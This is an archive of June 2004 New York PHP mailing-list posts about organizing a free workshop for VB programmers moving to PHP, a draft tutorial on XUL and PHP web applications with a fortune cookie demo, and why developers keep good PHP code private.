http://nyphp.org From preinheimer at gmail.com Wed Jun 30 20:38:23 2004 From: preinheimer at gmail.com (Paul Reinheimer) Date: Wed, 30 Jun 2004 20:38:23 -0400 Subject: [nycphp-talk] PHP Workshops In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702D2585B@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702D2585B@ehost011-1.exch011.intermedia.net> Message-ID: <6ec19ec704063017386f1e7ed6@mail.gmail.com> I was probably a moderate level VB programmer 4 years ago, and am willing to help out with documentation, coding, or even assisting with a work shop. I leave at the end of the summer. paul On Wed, 30 Jun 2004 14:23:35 -0700, Hans Zaunere wrote: > > > There's been a lot of good discussion on getting people up to speed on > PHP that come from other languages, such as VB. As evident from the > threads today, there are many different viewpoints, each with it's own > merit and importance. > > I think it'd be foolish to let these insights fade away. As such, I'd > like to see what type of interest there is to bringing the notion of a > free migration workshop to fruition. > > However, NYPHP's existing resources are pretty well strained, so we'd > need some new volunteers to get involved and take charge. Off the top > of my head, I'd say these types of resources would be needed: > > -- general project organizer, manager and planner > > -- people with backgrounds other than PHP (like VB, ASP, IIS, etc) that > has already gone down the path to learning PHP > > -- people wanting to learn PHP from other backgrounds > > -- some space (computer lab type of setting) where this can all happen > > Please, step forward and get involved... you're insight and help is > always valuable to the community. > > Drop a note to operations not junkmail at nyphp.org or to myself if > interested. > > --- > Hans Zaunere > President > New York PHP > http://nyphp.org > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From jayeshsh at ceruleansky.com Wed Jun 30 21:52:32 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Wed, 30 Jun 2004 21:52:32 -0400 Subject: [nycphp-talk] Draft of tutorial on creating rich web applications with XUL and PHP posted Message-ID: <40E36E60.4010008@ceruleansky.com> Hello all, I just posted the first draft of a tutorial on creating rich web applications using PHP, MySQL, XUL, JavaScript and XML-RPC to my weblog. I have been working on it for some time now, and wanted to post a draft of it in order to get some feedback. It is a three part series with a large introductory section for people who are not that familiar with the technologies and background of what the article is about. It is currently in an unfinished state, but I wanted to get it out there early to solicit feedback and make corrections. It comes with code (and a live demo) of a fortune cookie application (whose interface is written in XUL). You can fetch a random cookie, list all cookies, or add a cookie using this web application. The main post about it is here: http://www.moztips.com/index.php?id=261 The live demo is at: http://www.moztips.com/fortunecookies/ Please let me know what you think (good or bad). Best Regards, - Jay Sheth From joel at tagword.com Wed Jun 30 23:39:31 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 30 Jun 2004 23:39:31 -0400 Subject: [nycphp-talk] Draft of tutorial on creating rich web applications with XUL and PHP posted In-Reply-To: <40E36E60.4010008@ceruleansky.com> References: <40E36E60.4010008@ceruleansky.com> Message-ID: <1088653171.2626.11.camel@bezel> Whoa.. How is it that I have missed XUL totally? I am baffled that I have not seen this before... That is so cool.. Now I want to rebuild my coding site in it... -joel On Wed, 2004-06-30 at 21:52, Jayesh Sheth wrote: > Hello all, > > I just posted the first draft of a tutorial on creating rich web > applications using PHP, MySQL, XUL, JavaScript and XML-RPC to my weblog. > > I have been working on it for some time now, and wanted to post a draft > of it in order to get some feedback. > > It is a three part series with a large introductory section for people > who are not that familiar with the technologies and background of what > the article is about. > > It is currently in an unfinished state, but I wanted to get it out there > early to solicit feedback and make corrections. > > It comes with code (and a live demo) of a fortune cookie application > (whose interface is written in XUL). You can fetch a random cookie, list > all cookies, or add a cookie using this web application. > > The main post about it is here: > > http://www.moztips.com/index.php?id=261 > > The live demo is at: > http://www.moztips.com/fortunecookies/ > > Please let me know what you think (good or bad). > > Best Regards, > > - Jay Sheth > > > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From bpang at bpang.com Wed Jun 30 23:18:38 2004 From: bpang at bpang.com (Brian Pang) Date: Wed, 30 Jun 2004 22:18:38 -0500 Subject: [nycphp-talk] Good PHP Apps Message-ID: > While I'm sure (and know, in > fact) there is good code out there, it's generally kept private (and for > good reason; Sometimes the code you write is not yours to share. As a consultant, contracts often state that the code/application produced is the property of the company. That is not to say that concepts can be re-written and shared, but that is also not always cut-and-dry (and it takes time). > Thus, the bad code becomes common, and because it's so easy > to write, the process snowballs. I have done certain things that I think might be useful to some, at least as a strawman to figure certain things out, but sometimes, as code may have been written in haste (and it ain't broke, so don't I fix it), I'd be a little embarrased to have others see and scrutinize what I've done. So, unfortunately, I keep it to myself... :(